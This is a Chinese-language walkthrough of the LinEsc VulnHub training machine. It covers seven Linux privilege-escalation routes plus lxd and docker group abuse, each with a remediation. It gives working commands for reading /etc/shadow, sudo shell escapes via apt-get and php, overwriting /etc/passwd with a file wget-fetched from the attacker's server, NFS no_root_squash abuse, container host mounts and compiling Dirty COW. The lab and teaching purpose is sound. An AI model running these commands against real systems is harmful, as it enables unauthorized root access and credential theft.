描述
LinEsc是一台旨在演示Linux特权升级的7种最常见方式的机器。
目标:通过7种不同方式获得root特权。
默认凭据:(muhammad:nasef)
靶机下载地址:http://www.vulnhub.com/entry/linesc-1,616/
Linux提权技术合集:
适用于OSCP和CTF的Ultimate Linux特权升级指南
2020年12月6日
教程ctf
特权升级是大多数CTF参与者和OSCP学生都在努力的话题。特权升级通常是为了获得更多特权,但是在这种情况下,这意味着获得root特权,这是系统中的最高特权。在本文中,我将通过开发步骤解释Linux特权升级的7种方法以及如何解决它们。但是,作为前提,您必须具有Linux必需品,例如有关如何使用命令行和Linux权限模型的知识。为了继续学习本教程,我们将使用由我创建的一台名为LinESC的易受攻击的计算机。您可以从这里下载。默认用户为“ muhammad”,密码为“ nasef”。
目录
1)权限配置错误
某些文件只能由root用户读取,而其他任何人都只能由root用户读取。有时文件的权限配置不正确,例如/ etc / shadow存储了整个系统的密码。除了root之外,没有人可以阅读它。
可读的 /etc/shadow
在这台机器上,/etc/shadow可以被所有人读取。因此,我们可以轻松地查看root密码的哈希值,并使用john或hashcat对其进行破解。
开发过程
要检查/ etc / shadow的权限,请使用
ls -la /etc/ | grep shadow
如果可读,则可以通过以下方式查看哈希
cat /etc/shadow
将哈希存储在文件中,然后使用rockyou单词表在其中运行john。 用户名
解决方案
为适当的文件设置适当的权限。在这种情况下,我们应该删除其他用户的阅读权限。
2)SUDO
SUDO是Linux中的一项功能,它允许用户A以用户B的身份执行某些命令。有时,用户可能以root用户身份执行certian命令。因此,我们可能滥用此功能来获得特权升级。
开发过程
使用
sudo -l
列出允许用户像其他用户一样执行的命令
如您所见,我们可以以(root)执行三个命令
i . cd /home/vuln/2
我们可以阅读脚本的源代码。它只是启动一个新的shell,但是因为我们以root用户身份执行此命令。我们将获得根外壳。
sudo /home/muhammad/vuln/2/sudo
ii . apt-get权限滥用特权提升
sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
iii. php特权提升
sudo php -r "pcntl_exec('/bin/sh');"
解决方案
为适当的文件设置适当的权限。在这种情况下,请从/etc/sudoers中删除整个条目。
3)SUID
SUID是一种特殊权限,它允许任何用户以文件所有者的身份执行文件。因此,如果文件的所有者是root,则任何用户都可以root身份执行该文件。
开发过程
使用
find / -perm -4000 2> /dev/null
搜索具有suid权限的可执行文件
我们发现一个名为
/home/muhammad/vuln/1/suid
在跑。
即在
/home/muhammad/vuln/1/
我们找到了与sudo文件基本相同的源代码。
因为设置了SUID并且所有者是root,所以我们能够将shell作为root。
这个suid文件,执行之后会有一个shell返回,这个shell是具有root权限的。id查看权限,不是root,但是对/etc/passwd有读写权限,我们来添加一个root用户。
切回kali,生成密码。
openssl passwd -1 -salt qqq 123456
复制目标/etc/passwd到kali下,将我们生成的密码,按照格式写入。
python开启http服务器,使用wget覆盖/etc/passwd。
靶机执行
wget http://192.168.155.128/passwd
cp命令覆盖/etc/passwd
cp ./passwd /etc/passwd
提权完成
解决方案
为适当的文件设置适当的权限。在这种情况下,请从文件中删除suid权限。
4)CRONJOBS
Cronjobs是计划的命令和脚本,它们以特定用户的身份在一定时间间隔内自动运行。如果某个脚本以一定的时间间隔以root身份执行,则我们可以修改此脚本。我们可能会得到root shell。
查看计划任务
cat /etc/crontab
列出系统中具有SUID权限的所有文件。
发现系统每一分钟以root权限执行script.sh。我去跟进去看看。
检查脚本的内容后,我们发现它只是复制了passwd文件以替换/ etc / passwd,因此我们只需修改./passwd并添加具有root权限的另一个用户,然后登录即可。
使用mkpasswd创建密码。
从passwd文件复制根条目,并使用我们上面创建的密码修改用户和密码。
等待1分钟,直到脚本执行完毕,这样您就可以轻松
解决方案
检查根目录的计划任务,并删除不必要的任务或可能被利用的任务。在本例中,请删除script.sh任务。
5)服务配置错误
某些服务可能配置错误,导致特权升级。
NFS特权提升
一个著名的配置错误是NFS无根压缩。NFS是允许服务器与其他计算机共享指定目录的协议。
如果computerA有两个用户(muhammad,root)。Muhammad在共享中创建了一个文件,然后所有者将成为computerA的所有者,但是当computerA的根在共享中创建文件时,就会出现问题。NFS将混淆computerA的根目录和共享的根目录。因此,如果computerA中的根目录创建了脚本并为服务器共享中的文件添加了suid权限。那么服务器中的一个简单用户可以将此脚本作为共享的根目录运行。这是非常危险的。
开发过程
1.跑
cat /etc/exports
查看导出的份额。
2.您会发现/ home / muhammad是共享的,但更重要的是启用了no_root_squash。因此,我们将利用它。
3.在我们的机器上使用
查看靶机挂载目录
showmount -e 192.168.155.139
将目标靶机nfs目录挂载到mnt目录中
mount -t nfs 192.168.155.139:/home/muhammad /mnt
4.由于我们的root是在 kali Linux,那么我们在共享上创建的任何文件将被共享的root用户所拥有,并给予了suid权限将允许用户 muhammad 运行此文件为root。因此我们可以创建一个脚本,该脚本将复制了passwd文件以替换/ etc / passwd 如crontab示例。无论如何,我写了这个脚本,它在/ home / muhammad / vuln / 4中。
5.像crontab示例一样,在passwd中添加新用户。
6.提供脚本SUID和执行权限
chmod +sx script.sh
从易受攻击的系统中运行脚本,瞧,新的root用户被添加了!
su到新创建的用户。
解决方案
为了解决服务配置错误,我们必须重新配置服务。在我们的情况下,请消除no_root_squash。
6)密码泄露
在某些情况下,可以明显地看到由于不良做法而导致的root密码,而我们仅讨论两种情况,因为密码管理问题数量不限。这种特权升级方法很难找到,因为没有直接的方法可以找到存储的密码。但是检查正在运行的服务的配置文件很有用,因为可能会重用密码。还检查系统目录并尝试检查是否有可疑文件。
i . history
如果您键入命令history,它将为您提供用户执行的命令的历史记录。
检查输出,您会发现两条重要的线。首先是告诉您按照我的Twitter帐户@nasefmuhammad进行操作:D。第二个是用户输入的命令错误。他的意图是输入su root然后输入密码,但是他没有写“ sudo root chicken”,而是chicken是root的密码。
修复建议:清除历史记录,不直接再命令行中使用密码。
ii . SSH密钥
SSH识别密钥在某些情况下可能允许您不使用密码ssh登录到目标用户。因此,您需要将ssh密钥存储在目标用户是唯一有权访问的安全位置。
在我们的例子中,根密钥存储在/ home / muhammad / vuln / 3 / key中,因此我们简单地使用ssh -i命令以root用户身份登录ssh。
下载到本机
解决方案
这些问题的解决方案是显而易见的。只需遵循存储密码的最佳做法。
7)内核开发
像任何软件一样,Linux内核也具有严重漏洞的历史。其中一些漏洞可能会导致特权升级等严重情况,因此,我们始终需要检查内核版本,然后在exploitdb或任何其他exploit数据库中进行搜索。
我们可以使用以下命令检查内核版本
uname -r
然后在exploitdb中搜索合适的利用
searchsploit linux 2.6.24
ctf中一个著名的重复利用漏洞是dirtycow.
使用脏牛提权,使用exploit-db的exp
searchsploit linux/local/40839.c -m
然后,按照漏洞利用中的说明进行编译。
gcc -pthread 40839.c -o dirty -lcrypt
运行漏洞利用程序。
利用之后,您会发现创建了具有root特权的新用户,您现在是root!
解决方案
内核利用的解决方案是保持系统更新。在我们的情况下,我们必须放弃8.04 ubuntu并获得受支持的版本。
8)id(其他靶场)
id 查看用户基本信息,发现在lxd用户组,
lxd提权
github构建提权环境
https://github.com/saghul/lxd-alpine-builder
sudo ./build-alpine
然后回自动生成一个tar.gz文件,重命名成t.tar.gz
mv alpine-v3.12-x86_64-20201217_1534.tar.gz t.tar.gz
将t.tar.gz文件传输到目标主机上面,使用python开启http服务
python -m SimpleHTTPServer 80
目标主机使用wget下载t.tar.gz
wget http://192.168.56.105/t.tar.gz
需要先初始化环境 一切默认
lxd init
查看一下image
发现没有任何镜像,我们导入一下镜像,然后再次查看。
lxc image import ./t.tar.gz --alias dmagicsec
初始化容器
lxc init dmagicsec dmagicsec -c security.privileged=true
映射容器
lxc config device add dmagicsec dmagicsec disk source=/ path=/mnt/root recursive=true
启动容器
lxc start dmagicsec
执行交互shell
lxc exec dmagicsec /bin/sh
获取flag
查看id属于docker组,
docker提权
提升权限
docker run -it --rm -v /:/mnt bash
思路:目前我们将目标靶机的整盘目录挂载到了docker中,且在/mnt目录下,我们修改/mnt目录下面的文件,会直接影响到靶机。所以我们修改/etc/passwd文件,添加root权限用户。
生成密码
opensll passwd -1 -salt magisec 123456
进入我们刚刚root权限的虚拟容器shell,添加用户。格式如下
vi /mnt/etc/passwd
查看flag文件
<总结>
- 权限配置错误; /etc/shadow 可读
- sudo -l
- 转到/home/vuln/2,我们可以阅读脚本的源代码。它只是启动一个新的shell,但是因为我们以root用户身份执行此命令。我们将获得根外壳。
- ii. apt-get权限滥用特权提升; sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
- php特权提升 ; sudo php -r "pcntl_exec('/bin/sh');"
-
id
- lxc提权;id查看用户基本信息,发现在lxd用户组,使用lxd提权。github构建提权环境
- docker权限提升;查看id属于docker组,我们使用docker提权。docker run -it --rm -v /:/mnt bash
- SUID是一种特殊权限,它允许任何用户以文件所有者的身份执行文件。find / -perm -4000 2> /dev/null
- 查看计划任务; cat /etc/crontab
- 服务配置错误
- NFS特权提升; cat /etc/exports => 启用了no_root_squash =>showmount -e 192.168.155.139 =>mount -t nfs 192.168.155.139:/home/muhammad /mnt
- 密码泄露
- history
- SSH密钥
- 内核开发
- uname -r =>searchsploit linux x.x.x =>著名的重复利用漏洞是dirtycow(脏牛提权)